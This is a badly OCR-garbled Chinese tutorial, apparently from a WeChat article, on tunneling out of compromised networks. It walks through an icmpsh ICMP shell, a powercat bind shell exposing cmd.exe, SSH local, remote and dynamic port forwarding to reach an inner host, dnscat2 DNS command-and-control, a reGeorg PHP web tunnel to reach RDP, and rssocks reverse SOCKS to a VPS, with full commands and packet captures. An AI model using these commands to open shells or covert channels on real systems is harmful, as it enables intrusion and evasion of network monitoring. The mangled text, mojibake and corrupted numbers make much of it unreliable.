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‘ping 192.168.43.136"

:\Users\Administrator>ping 192.168.43.136

Pinging 192.168.43.136 with 32 bytes of data:

eply from 192.168.43.136: bytes=0 (sent 32) time<lms TTL=255
eply from 192.168.43.136: bytes=0 (sent 32) time=3ms TTL=255
eply from 192.168.43.136: bytes=0 (sent 32) time=2ms TTL=255
eply from 192.168.43.136: bytes=0 (sent 32) time=2ms TTL=255

ETREattack EHNMMITEIF:

: /tool/icmp/icmpsh# . /run.sh

ICMP Shell Automation Script for

https://github.com/inquisb/icmpsh

this is target ip:192.168.43.136
What is the victims public IP address?
192.168.43.109
[-]1 Run the following cede on your victim system on the listender has started:
+H+++++H
icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128

i a b Rl

[-] Local ICMP Replies are currently enabled, I will disable these temporarily now

[-]1 Launching Listener...,waiting for a inbound connection..

FvictimEHNHiTshell kRS, Zm L Eserverim B IRE :

“icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128°

D:\install\tools\icmp\icmpsh-master\icmpsh-master>icmpsh.exe -t 192.168.43.136 -d 5@ -b 3@ -s 128

[ 38 BT -

[-]1 Local ICMP Replies are currently enabled, I will disable these temporarily now
[-]1 Launching Listener...,waiting for a inbound connection..

Microsoft Windows [Version 10.0.18363.900]
{c) 2019 Microsoft Corporation, £ &R &M Fl,

D:\install\tools\icmp\icmpsh-master\icmpsh-master=whoami
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BEAEEEBpingHEER:

AMA® BN RE a4 «» 0=

| a a a Eﬁ-IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

A icmp

do. i Source [Destination Protocol  Length Info
2244.824725531 192.168.43.136 192.168.43.189 ICNP 42 Echo (ping) reply 1d=8x0001, seq=14978/33338, ttl=255 (reguest in 21)

| 3]4.255213164 |192.168.43.1689 192.168.43.136 ICHP 74 Echo (ping) id=8x@681, seq=14979/33594, ttl=128 (no response Tound!)
2444.256812522 ]192.168.43.136 192,168.43.189 ICHP 42 Echo (ping) id=8xee81, seq=14979/33504, ttl=255
25Q4.526374287 [192.168.43.109 192.168.43.136 ICMP 6@ Echo (ping) 1d=8x0001, seq=14986/33850, ttl=255 (reply in 26)
26§4.527633507 192.168.43.136 192.168.43.189 ICHP 42 Echo (ping) id=ex08081, seq=14980/33850, ttl=255 (request in 25)
27|5.028747068 | 192.168.43.109 192,168.43.136 ICHP 60 Echo (ping) id=0x0081, seq-nasuuma, tt1=255 (reply in 28)

28)5.829151584 = .43 192 .43.189 ICHP 42 Echo lﬂ Ex8661, tt.'l 255 {raqnest in 27)

of5. 267713661 | 192.168.43.136 192. 22 Echo (ping) reply | 10-6x0001, 5eq-14562/34362,
31w s 192.168.43.169 192.168.43.136 ICHP 68 Echo (ping) request id=ex8881, seq=14983/34618, ttl=255 (reply in 32)
32 5.530213837  192.168.43.136 192.168.43.109 TCHP 42 Echo (ping) reply  id=ex8081, seq=14983/34618, ttl=255 (request in 31)

Source: 192.168.43.189
Destination: 192,.168.43.136

- Internet Control Message Protocol
Type: B (Eche (ping) request)
Code: 8
Checksum: 8x12d5 [correct]
[Checksum Status: Good]
Identifier (BE): 1 (8x8061)
Identifier (LE): 256 (8x0188)
Sequence number (BE): 14982 (Bx3a86)
Sequence number (LE): 34362 (@x863a)

GE0 @8 Bc 29 4f 19 89 28 56 5a 9a 32 d3 88 88 45 68 Jo--(vzZ-2--E

@8 3c 79 f8 66 @8 86 81 eB 82 ch aB 2b 6d co aB -y .
8828 2b B8 88 88 12 d5 00 81 3a 86
0838
e840

BETHTTHSnetstat —ano = HEIER :

A icmp

No. Time Source Destination Protocol  Length Info
113 28.142277349 192.168.43.136 1cMP 6@ Echo (ping) request 1d=0x8001, seq=15801/47421,

.168.43.136 68 Echo (ping) reguest m—sxseu seq=15882/47677,
6 176 Echo ( |'u_-.r:'|

(reply in 114)
(no response fuundl'_l

.651281194

reguest 5|q=158&l 48189,

154241352 |192.168.43.189 192.168.43.136 cMP 176 Echo {pim) request seq=15805/48445, tt1=255 (no response found!)
192.168.43.109 192.168.43.136 ICMP 170 Echo (ping) request s5eq=15806/48781, ttl=255 (no response found!)
192.168.43.189 192.168.43.136 IcHP 176 Echo (ping) request , 5eq=15887/48957, ttl=255 (no response found!)
192.168.43.109 192.168.43.136 ICMP 178 Echo (ping) request 5eq=15808/49213, ttl=255 (no response found!)
192.168.43.109 192.168.43.136 ICMP 178 Echo (ping) request , 5eq=15889/49469, ttl=255 (no response found!)
192.168.43.109 192.168.43.136 IcMP 178 Echo (ping) request 5eq=15816/49725, ttl=255 (no response found!)
192.168.43.109 192.168.43.136 ICMP 178 Echo (ping) request 5eq=15811/49981, ttl=255 (no response found!)

Destination: 192.168.43.136

- Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: @
Checksum: 8x7321 [correct]
[Checksum Status: Good]
Identifier (BE): 1 (©x8881)
Identifier (LE): 256 (0x0108)
Sequence number (BE): 15803 (©x3dbb)
Sequence number (LE): 47933 (8xbb3d)

- nata 128 b tes

vata: bet: d616e6fBabdBad1637469T6652(

0000 @8 ec 29 4f 19 09 28 56 Sa 9a 32 d3 @8 00 45 €0
881 @8 9c 7d 2d @6 @8 ff 81 65 ed co a& 2b 6d c@ as
0626 2b B8 08 80 73 21 86 81

ae3e
o048
06856
0866
aere
aeae
apge
0Bad

0 7 Data Idata data), 128 FH 5348: 214 - BER: 206 (965

A, HMNAMEBNpingBEREFELATTEI2FTHIENREE, HEBIERS
7 abcdefghigklmnopqgrstuvwabcdefghi; MAENWERBICMPEEZZNshel| B E
T THLSHNREETEENBABARENI cmpERNEERE, BTHIEEMWNdata
SESER128F TR EIE, ﬁ/l\dataiﬂl'ﬂﬁﬁ]L‘Xﬁﬁﬁ%i&ﬁﬂ%ﬂﬁ, [E] B BT DA & 2 204 &
EEARAENHIRNTHNASTIRE, AL ZBEENHERERTUMNTAEFEIT:

e BAUNMBAMNIcmpHIEEINE
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o HIEE® KR/

s BEEARAR

EhERERE

EHMEETERTCP, UDPIHIN, ALBEREZBOEETXAMMH AT, B A
BiETEHAnetcat, powercat®E, AX@idpowercatflncit 17k

i

TREATH:

powercat
( https://raw.githubusercontent.com/besimorhino/powercat/master/po

wercat.ps1)

powercathfiE & &

victim(192.168.43.109):

Import-Module .\powercat.psl

powercat -1 -p 8888 -e cmd.exe -v

attack(192.168.43.136):

nc 192.168.43.109 8888 -vv

Fvictimin B S TEERZREILMIN:

1> powercat 8888 cmd . exe
: Set Stream 1: TCP
: Set Stream 2: Process
: Setting up Stream 1...

: Listening on [0.0.0.0] (port 8888)

: Connection from [192.168.43.136] port [tcp] accepted (source port 35700)

: Setting up Stream 2...

: Starting Process cmd.exe...

: Both Communication Streams Established. Redirecting Data Between Streams...

Fattackim AT AR IINITH S :
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: /tool/vul# nc 192.168.43.109 8888 -vv
NIN-KC5N4RGL3VM [192.168.43.109] 8888 (7?) open

Microsoft Windows - ) 1@ 0.18363.900]
(c) 2019 Microso 0rpo R EFFFB WA,

d as an internal or external command,

jﬁéfable program or batch file.

D:4tool=

[:%\tool=

D:\tool>whoami
win-kc5nd4rgl3vm\administrator

powercatfZi& o

B EEBpowercatBZHBEEFITHITH
TCPHIESE, BNITMNEIHENERNEERENackBENHAEER, HEXRRZ
BN EEHIEENdatafiiIBIUNBI AT T
EEMNATHSLERMNAST., Bdwireshark & IE S #H 1T D

FE, RPEZVEERERUEARAS,

HEENATAHATRERNHITHME.

7188 99.367437 192.168.43.189

Infe

8888 + 46892 [PSH, AC{] Seq=244 ﬂck=17 win=525568 =

LHRNHEE, IUNBIRMIRS

M, FeAle] A& 3

TCP 64
71%@ 99.368524 192.168.43.136 192.168.43.109 TCP 54

|| 7191 99.368550 192.168.43.136 192.168.43.189 | TCF 54 [
7199 99.475515 192.168.43.189 192.168.43.136 | TCP 56
I e 9.475521 192.168.43.189 192.168.43.136 c 56
?291 99 475746 192.168.43.136 192.168.43.109 54
[ | 9.47575 192.168.43.136 192.168.43.189 | TCP 54
7211 99.585696 192.168.43.189 192.168.43.136 | TCP 327
| | 35712 192.168.43.109 192.168.43.136 |1 ]

w71% AA Fasael AAn 1en A% Ane 1A% Aen 4% dnn | Ten ra
Urgent pointer: @
[SEQ/ACK analysis]
~ [Timestamps]
[Time since first frame in this TCP stream: 86.55@8868@0 seconds]
[Time since previous frame in this TCP stream: ©.000016808 seconds]
TCP payload (273 bytes)
Retransmitted TCP segment data (273 bytes)

eaae 2d 2d 2d 2d 2d 2d 2d 2d ed @a 41 64
eabe d 69 6e 69 73 74 72 61 74 6f 72 20 20 20 20 20 inistra tor
CEI:Ml00 20 20 29 20 20 20 44 65 66 61 75 6¢c 74 41
CELENNG: 6f 75 6e 74 20 20 20 20 20 20 20 20 20 20 20
CEE:RA7 75 65 73 74 20 2@ 20 20 20 20 20 20 20 20 2@
eafe 8 20 20 20 2e 28 20 20 20 8d °ea 57 44 41 47
CICERN7A 69 6¢c 69 74 79 41 63 63 6f 75 Ge 74 20 20 20
EIRRNC0 20 26 29 ed @a 54 68 65 28 63 6f 6d 6d 61
CIel:Nlc4 20 63 6f 6d 7@ 6c 65 74 65 64 73 75 63 63
e13e 73 66 75 6c 79 2e @d @a Ba 8d @a 44
o148 74 6f 6f L

R ARk ETE E
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NAEARBRMUFTTCP/IPHINMNRINE, REATREEZSMNARS, mMETNRAEEENRE
ERAMENBESMNAMSANRO#HTEEZE, EWBSSH, HTTP/HTTPSHIDNS
RS, FLURZSERSBVEERINTLIWE LB IN.,

sshfZEE&E

SSHE & XSecure Shell WA EFRX,SSH AEBEVYENHEEEM EMNZ2MHIX. SSH
ERAUE, TENEREFHSENEMNEZERSZREELEZMNMNIN, ftp. popHltelnet?
AREHLRIALZEN, BEAENENELEBEXEXOSHBIE, IERLNAEES
SHMOUNBRILEOSHMBIE. MA, FERZEFNZTDNTEAFAXABLEEESI AN,
MERESZIN“PHEA KL, SSHER B1E SSHIFISSH2Am A, EBrI&EH
MEZEBERMIN. BES sshifiNE AT BIMHXIEBENBDRIZE.

sshiFERBERATHOER, FEANEOERERMER. TRERNHTSER, HF
BsthAE, KRN A:

iR

AiEE—RBTFIHINMBIIdMzERIFRABLLTHANIpHWER, WEdmzEREEE I
WipBrIFE)NM,ATRE LI NipRIFEEFRinner,

dmz-host (192.168.43.179)
inner—-host (192.168.43.168)

attack-host(192.168.43.136)EE WM T :

ssh —CfNg -L 1234:192.168.43.168:22 sobug@192.168.43.179

:~# ssh -CfNg -L 1234:192.168.43.168:22 sobug@l92.168.43.179
The authenticity of host '192.168.43.179 (192.168.43.179)' can't be established.
ECDSA key fingerprint is SHA256:7GxLlYSfXunuPhE7dsiqtqU/600414IaFtUTMkHCp/Qw.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.179' (ECDSA) to the list of known hosts.
sobug@l92.168.43.179's password:

R @idattacki#F1TI5 0 Aih1234B0 ]l E#EinnerEM22ix O sshhRSS, AT E =7
EsirNinnerlI&EXH, BOWUT:

ssh —p 1234 sir@192.168.43.136

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ 6/20
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akali:~# ssh -p 1234 sir@192.168.43.136

The authenticity of host '[192.168.43.136]:1234 ([192.168.43.136]:1234)' can't be established.

ECDSA key fingerprint is SHA256:FWZeeQp36LaKnPawHPo5+P1PRUqQUEtXTXVkRkbBDuwQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
arning: Permanently added '[192.168.43.136]:1234' (ECDSA) to the 1list of known hosts.
sir@192.168.43.136's password:
Linux debian 5.6.0-kali2-686-pae #1 SMP Debian 5.6.14-1kalil (2020-05-25) 1686

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 19 15:35:26 2020 from 192.168.43.109

ebian:~$ whoami

ebian:~$ ifconfig
flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 192.168.43.168 netmask 255.255.255.0 broadcast 192.168.43.255
inet6 2409:8900:2d3f:619:20c:29ff:fec6:1384 prefixlen 64 scopeid 0x@<global>
inet6 feB80::20c:29ff:fec6:1384 prefixlen 64 scopeid 0x20<link=>
inet6 2409:8900:2d3f:619:e59c:e6b4:ae5b:d890 prefixlen 64 scopeid 0x0O<global>
ether 00:0c:29:¢c6:13:84 txqueuelen 1000 (Ethernet)
RX packets 276 bytes 31301 (30.5 KiB)
RX errors © dropped @ overruns @ frame 0
TX packets 164 bytes 22091 (21.5 KiB)
TX errors © dropped 0 overruns @ carrier 0 collisions ©
device interrupt 19 base 0x2000

nERR

AR — R TN & dsz\ﬁlﬁlﬂlﬂ*‘B?ﬁ%ﬂIpE’JJ\ﬁ, & A B dmz 3 R 1 %

BHEBip, U TREBLIWMEIREFRinner:
inner—-host (192.168.43.168)
attack-host(192.168.43.136)

dmz-host (192.168.43.179) BEBW T :

ssh —CfNg -R 2345:192.168.43.168:22 root@192.168.43.136

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ
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akali:~# ssh -p 1234 sir@192.168.43.136

The authenticity of host '[192.168.43.136]:1234 ([192.168.43.136]:1234)' can't be established.

ECDSA key fingerprint is SHA256:FWZeeQp36LaKnPawHPo5+P1PRUqQUEtXTXVkRkbBDuwQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
arning: Permanently added '[192.168.43.136]:1234' (ECDSA) to the 1list of known hosts.
sir@192.168.43.136's password:
Linux debian 5.6.0-kali2-686-pae #1 SMP Debian 5.6.14-1kalil (2020-05-25) 1686

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 19 15:35:26 2020 from 192.168.43.109

ebian:~$ whoami

ebian:~$ ifconfig
flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 192.168.43.168 netmask 255.255.255.0 broadcast 192.168.43.255
inet6 2409:8900:2d3f:619:20c:29ff:fec6:1384 prefixlen 64 scopeid 0x@<global>
inet6 feB80::20c:29ff:fec6:1384 prefixlen 64 scopeid 0x20<link=>
inet6 2409:8900:2d3f:619:e59c:e6b4:ae5b:d890 prefixlen 64 scopeid 0x0O<global>
ether 00:0c:29:¢c6:13:84 txqueuelen 1000 (Ethernet)
RX packets 276 bytes 31301 (30.5 KiB)
RX errors © dropped @ overruns @ frame 0
TX packets 164 bytes 22091 (21.5 KiB)
TX errors © dropped 0 overruns @ carrier 0 collisions ©
device interrupt 19 base 0x2000

BidfEattackENMT, TURIDZFEEinnerEHMWsshiRS

ssh —CfNg -R 2345:192.168.43.168:22 root@192.168.43.136

sobug@kali:~$ ssh -CfNg -R 1122:192.168.43.168:22 root@l92.168.43.136

root@l92.168.43.136"'s password:

SR

MSHEE—BEINMNMattackEN LB L dmzENBE— DI BWsocks4 /5K,

BIRERGERNEERENEZERETXANMNPHNERERH#HTIHG,
inner—-host (192.168.43.168)
dmz-host (192.168.43.179)

attack—-host(192.168.43.136) BB R IEW T :

ssh —-CfNg -D 8888 sobug@192.168.43.179

sshfgE& ot

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ
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20207727
MFSSH ABILENRAE
FwiresharkFMENEBEAEEE R, WRZMNITUNED
HAEAsshEE NG, HMNEWHOEZEBER
220m OB EILERE

PR ) 2125 A5 st 2 91 5

ZER,

cali:~$ netstat -antlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address

o

127.0.0.1:3306 0.0.0.0:*
0.0.0.0:22 0.0.0.0:%
127.0.0.1:6010 0.0.0.0:%
127.0.0.1:6011 0.0.0.0:*

192.168.43.179:40132 192.168.43.136:22
192.168.43.179:40180 192.168.43.136:22
192.168.43.179:22 192.168.43.109:65325
192.168.2.131:22 192.168.2.1:63554
11:22 L

:1:6010

[cNcloNolNoll Slcicllol

A fE =5 W&
MBEERATUBESRENKER Tsshiz@#

C E p
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
tep 127.0.0.1:3306 0.0.0.0:%*
tep 0 0.0.0.0:22 0.0.0.0:%
tcp 0 127.0.0.1:6010 0.0.0.0:%*
tep 0 127.0.0.1:6011 0.0.0.0:%*
tep 0 192.168.43.179:40132 192.168.43.136:22
tep 0 192.168.43.179:40180 192.168.43.136:22
tep 0 192.168.43.179:58006 192.168.43.168:22
th b 19Z.1b08.4843.1/39. 22 192.100.45. 1LUY.023£0
tep 0 192.168.2.131:22 192.168.2.1:63554
0 :::22 HEE RS
0 ::1:6010
0 ::1:6011

9]
0]
9]
9]
1
9]
0]
9]
9]
0
9]
0

e VpsHIEH BB BN vpsEILARLLE BIENSIEE,
ICRER,

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ

EMENRENN, ERELCHTNRELBENE,
5

State
LISTEN -
LISTEN -
LISTEN -
LISTEN
CLOSE_WAIT
ESTABLISHED 3104/ssh
ESTABLISHED -
ESTABLISHED

LISTEN

LISTEN

LISTEN

FIENENGE, B—PID31049 54 MAMAMNEIL T &E
THANREREARE,

B 1t 3 A1
im0 ERATHE, Niziz

EMANSINEN192.168.43.136 1

PID/Program name

2904/ssh

ik, BilEdX

State PID/Program name
LISTEN -

LISTEN -

LISTEN -

LISTEN -
CLOSE_WAIT 2904/ssh
ESTABLISHED 3104/ssh
ESTABLISHED 3104/ssh
ESTABLLISACD -
ESTABLISHED

LISTEN

LISTEN

LISTEN

R F BRI A A
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T —

\\\\\\ A 8 14 60( 20
A 6 20

dnsauth TXT SRIA 20 600 20
ns1 A S 18 94 - 600 20
vps NS BRiA ns1 g.clut - 600 20
mail NS ZRiA ns1 9.club - 600 20

test NS = f1atns” od.net 600 20
o XNSIEZEmail FIHHETEMIBEnsTI*.clubBAIEE MXBE: MWL 42X mail
FHEHMdnsIER, AEEBvpsE R LEIZIEK,

ERiIEEZEINSIERBNIES:

~s\Administrator>nslookup mail
publicl. 114dns. com
114.114.114.114

request t_m;1 out.
timeout :
request
timeout
request
Ti[]l%-:‘:nllT

111

vps X 15 K EHE A 40 32

tcpdump -n —-i eth@® udp dst port 53

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ 10/20
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e TXdnscat2fkRFBiH serverifi: FEEBruby¥HiE T2 gem. ruby. dnscat2fgR s

i

yum install gem

rm /usr/bin/ruby

wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
tar -zxvf ruby-2.5.0.tar.gz

cd ruby-2.5.0

mkdir —p /usr/local/ruby

./configure —-prefix=/usr/local/ruby

make && make install

n -s /usr/local/ruby/bin/ruby /usr/bin/ruby

git clone https://github.com/iagox86/dnscat2.git
cd /server

gem install bunlder

In /usr/local/ruby/bin/bunlder /usr/bin/bunlder
bunlder install

J= & BR 55 U

ruby dnscat2.rb mail.xxx*x*,club —-e open -c password ——no-cache

&P im T E o at

https://downloads.skullsecurity.org/dnscat2/

powershel B F i :

“https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master"’

REPEEEE

./ruby ——ping mail.target.com

./dnscat —--secret=password mail.target.com

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ 11/20
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MTERERKI,

ifl. /dnscat —-secret=

serverif

sessionsETRELREBEEFinsIE:

session —-i session_id

dnscat2> sessions
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [¥]
dnsl :: DNS Driver running on 0.0.0.0:53 domains a1l .c1ub [*]
:: command (ecs-sn3-medium-2-Tinux ~01° 5~ [er, ,poweu and verifie

sh (ecs-sn3-medium-2-1inux-207 ICry ptcd and \cr1f1cd] [*]
sh (ecs-sn3-medium-2-1inux-20. Lencrypted and verified] [*]

dn;catﬂ

= = - = meaq M ) 3> S
sh (ecs-sn3-medium-2-Tinux-’ i 3> sh: ine 1: shell: command not found
whoami

sh (ecs-sn3-medium-2-T1inux-

BEEFS3mOMNMKERLAMARENINSITERKEE,

tcpdump —n -i eth@® udp dst port 53

dnshEiE 9t

BEREREN, HMNUBRSZHHMEFERENDONSHINNEEERE, AN ZBEESEE

HWdnsiEB K24 E, BEE2ERNAnsIH BRI EE—BENEZENERE, HXdnsit
mFTXTIEER. MXIEZMCNAMEIEE.,

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ
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118.. 536.1082625
12@.. 536.864231
12@.. 536.864253

192.168.43.136 DNS 161 Standard query responsg_@xbg55 |TX I 38a361958?8854{&66610588395(&1!)5“
192.168.43.1 DNS 114
192.168.43.1 DNS 114

Standard 2522019587 fa6bedc2036c002a60221787 . mail.

query

12@.. 536.983488 192.168.43.136 DNS 165 Standard query response @x88de MX 252a019587fatbedc2036c08a3a602217¢
12@.. 537.870267 192.168.43.1 DNS 114 Standard query @xa@25 MX 283d@195875a8227ddeeca@@abl8gd2dSa.mail.s’
12@.. 537.87@275 192.168.43.1 DNS 114 Standard query @xa@25 MX 283de195875a8227ddeecad@abl8gd2dSa.mail.s
12@.. 537.9269¢€1 192.168.43.136 DNS 165 Standard query response @xa@25 MX 283de195875aB227ddeeca@@ablB84d

12@.. 538.890345 192.168.43.1 DNS 114 Standard query ex3fc3 852f019587adb@5d7c4c4900ac181fd37f . mail.
12@.. 538.890351 192.168.43.1 DNS 114 Standard query @x3fc3 852f019587adb@5d7c4c4900ac181fd37f . mail.
12@.. 538.942389 192.168.43.136 DNS 163 Standard query response @x3fc3 CNAME 852f@19587adb@5d7c4c49@@aclilfd:
answer RRs: @
Authority RRs: @
Additional RRs: @
v Queries
v | 2522015587 fabbedc2036c002250221707 .mail. . .club: [type MX, class IN
Name: 25aa@19587fa6bedc2@36c0Paat0221787.mail.: ;.club

[Mame Length: 54]

3@ 45 96 4c 1f 53 28 56 5a 9a 32 d3 98 @@ 45 @@ @E-L S(V Z-2---E
8@ 64 96 c2 48 @0 48 11 5b ed c@ a8 2b 88 c@ a8
2b @1 bl 5f @@ 35 @@ 56 1f c3 B2 de @1 @8 @@ 81

ea3e 28 o2 2@ o0 2o

ea4e a
8958 la6@2217@ 7-mail-
eoce ~club-Be

MU TRSFHMNtcpdump R MBS AIREELES EBdnsiBRNEX A,

>

o

[lau] CNAME?

.domain:
.domain:
.domain:

Bl e B AT AT BA M BATR T 75 T #1718
e REZEMENDNSIRSHBHIITER

o FHIEERAMELEBTXTIE

Hﬂ)&%

o WHMEHITDNSIEKRMIZ

httph¥iE & &

HTTPH X ZEBEN ELERANEENNZ—. EERZHNNAE, EERTHNMERT
Web R 23 MWebfRSZEZZENEE, BIWeb A, BIHTTPIRSEEZNRE, &

/

TENDBREEBEANAAMNP, EHANIEHEBreGeorg., tunna®d ., A F@IreGeor
g

dmz:192.168.157.148/192.168.247.130

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ
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attack:192.168.157.147

victim:192.168.247.152

reGeorgA] UX HPHP, ASPX., JSPEHRIAXIES, RINEEBHALEEEIRRS ZH
h,

EM@T EEtunnel XHERIdmzRSS 28 £

192.168.157.148/t.0hn X
| http://192.168.157.148/t.php |

¢ ® © #& 192.168.157.148/t.php

o gamiEl B oaneEsws @ et B =sEmn B sses

Georg says, 'All seems fine'

REEEETEXHEEsocksbRIE:

REARR E R EMIY, W #FEITE Eproxifier,

BEIAMAIENS888IHO:

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ 14/20
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File Profle Log VWView Help

g d@-d s 8 e

Time/5tatus Rule : Proxy

Proxy Servers

Address £ Port Tvpe
127.0.0.1 8888 SOCKS5 Add...
Edit...
Remaove
Check...
HEEEmstscmEMMNZAELH:
ﬁ' Proxification Rules
Rule Mame Applications Target Hosts Target Ports Action
Mew cmd.exe Pm SOCKS5 127.0
(] News python.exe Direct
Proxy SOCKS5
(V] Mews mstsc.exe Any Any 137.0.0.1
Default Any Any Any Direct
[ Add... ] [ Clone ] Edit... [ Remowve ]

BETRBEMNEBITURINEZvictimEAN.

https://mp.weixin.qq.com/s/yccot8vIJw9yNLOrwUshkLQ
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N mEsEEE X
(2] X |
| g FEGIE R EN S 0. EEREEE?
r
2 A imEamiEE |.7=- 3 EE?;:%E%TEEJEE FEI IR T EN TR E T SRS - SR iER
4n HEAS °
1&%1%@ EBEE
[0 »¢ 5 RETIESE AER SR
DC. . COMm
4n
192, 168, 247. 152 - P E=
in bR T EAREPeTRR T 5I3EiR
HPE: Shidministrater
10 AT [ A R . L EPEETEEANERS IR .
@ W | i )i S ET AR AR
B [ Rk EEEER T E D)
t to change the L 1 ;}E%ﬂ% ... ’ B0 ] [ & () ]
httpB¥iE o
BERXRBIEENMRNBAERE, RMNEARINEFEEMtpIER, FEABEXRPEHEBcmd,

targetﬂ]portE/\%i

4 0.002016  192.168.157.147 192.168.157.148 POST http://192.168.157.148/t.php?cmd=connect&target=192.168.247.1528port=3389 HTTP/1.1

14 0.022215 192.168.157.147 192.168.157.148 POST /t.php?cmnd=read HTTP/1.1
15 0.022215 192.168.157.147 192.168.157.148 POST /t.php?cmd=forward HTTP/1.1 (applcation/octet-stream)

18 0.173772  192.168.157.147 192.168.157.148 POST /t.php?and=read HTTP/1.1

REEEZHEE, AHEEPEFEINBERORIPIRORBENIPIRDO, EABRSEFIP
im O ZBEENIPHEOE A —H#8,

# Frame 4: 271 bytes on wire (2168 bits), 271 bytes captured (2168 bits)

g Ethernet II, Src: Vmware_a2:b3:90 (00:0c:29:a2:b3:90), Dst: Vmware_82:e7:be (00:0c:29:82:e7:be)
Internet Protocolf Src: 192.168.157.147 (192.168.157.147), Dst: 192.168.15/7.148 (192.168.15/.148
Transmission Control Protocol, Src Port: 9393 (9393), Dst Port: http (80), Seq: 1, Ack: 1, Len: 217
B 9%0S:9393(9393)

B #9%% 0 S :http(80)

[Stream index: 0]

Sequence number: 1 (relative sequence number)

[Next sequence number: 218 (relative sequence number)]

Acknowledgement number: 1 (relative ack number)

Header length: 20 bytes

Flags: 0x18 (PSH, ACK)

Window size: 65700 (scaled)

# Checksum: 0x29c7 [validation disabled]

[SEQ/ACK anaIySIS]

o =

[+

[

BMNBIHWEZ_TMFE (192.168.247.130) , AUAIUBINEFENZERSHN
3389w OB ENIEBE R, HEIBRNWEMNIKOMNKRS Bms-wbt-server,

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ
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No. Time Source Destination Protocol Info

1826 928.474535 192.168.247.130 192.168.247.152 TCP 49748 > ms-wht-server [ACK] Seq=5152 Ack=178661 Win=65500 Len=0

1976 1128.72920¢192.168.247.254 192.168.247.152 DHCP  DHCP ACK - Transaction ID 0x1f446b1c

OISR LU FIULULU, JIL FUTL T2/ T0 (T3 70, UL FUITL 1HIDTWULICI VEI \JJUT ), JOU. Jidé, FLR. L/UUUL, LTI U
W G :49748(49748)
B &Y93% O 2 :ms-wbt-server(3389)
[otream ndex: 185]
Sequence number: 5152 (relative sequence number)
Acknowledgement number: 178661 (relative ack number)
Header length: 20 bytes

# Flags: 0x10 (ACK)
Window size: 65500 (scaled)

# Checksum: 0x7087 [validation disabled]

# [SEQ/ACK analysis]

0000 00 Oc 29 f1 79 96 00 Oc 29 82 €7 b4 08 004500 ..).y... )...

0010 00 28 5d ca 40 00 B0 06 00 00 c0 a8 7 82 c0 a8 (]

0020 f798 c2 54 0d 3d 0a 56 a2 66 fe Sf4fed 50 10 ... T.= \.f f O P
NN 2F £7 70 R7 NN NN 7n

oM ko, ?ﬂzﬂ]—JLj{‘%ﬂdhttpﬂJ1)45’]*5(?@ HITEER, AEEHEETNIpS A
TR, BN ZipHTHREBIES *Eﬁﬂipiﬁ?ipﬂ’ﬂﬁ'ﬂ’ﬁﬁ\]ﬁi& E=N/: B
R, BNENFEESSNANwindowsHEHTESHIR.

3
]

EEXIER, BIRN—ciiBKgetshelllf, HFTFEXT THWRELLRBIE, AL
BRETMUBREELEFR, EZXEWE, RIN{FBRssocksE# TssocksfEiE, TH
BHEREIR—THRMNBER:

Rssocks N &ttt :
Ilhttp://sourceforge.net/projects/ssocks/

HFEMAZANIInuxRSG, AtFEEEssocksPHIFZEssocks,

./configure && make && make install

BAEINAvps EBEBIRTU TS

Rcsocks -1 5001 —-p 8009 -vv

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ 17/20
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REEBIRENRIT,

Rssocks —-vv —s vpsip:1080

r - _ i # ./rssocks -vv -s 2 n4:1080
socket: attachment to a local socket port ...

socket: local port 45835 open

dns: server address resolution 1

7% s s s
client: server connection on . _ +:1080 ...
bor_‘_connect_m: _Connection refused

BTk BEIproxifierfiZsocksLE: vpsip: 1088

AFENANEipimO,

|| EBsS Nmaptiii | @O/EH | B2t | TNBE | 98
if“:;ﬁ 4 z*_"‘ nmap -T4 -A -v 10.2 10
6] 10.2 J

s~ ttttrrtrerrtrtrrtetertrt et ettt NN ARNNOO”

o' EERHIKkaliBEAWW T BEproxychains, 8 proxychainsft & X1,

AiEdynamic_chaini®®, E&E—TMANE, ML A R EXE % :

R # cp /usr/lib/proxychains3/proxyresolv /usr/bin
:~/M B # proxyresolv 10. .10
S-chain|-<>-1I N e L-<><>-4.0 11.2:53-<><>-0K

0.2 .10
~/ME#

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ 18/20
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WRSANNRERELERINFN, FEEE10.x.x. 16 EHFHM80ImORS.

23,139,135,445,3389,6379,7001,80,8080,443,8088,8089,8090,389,1433,3306

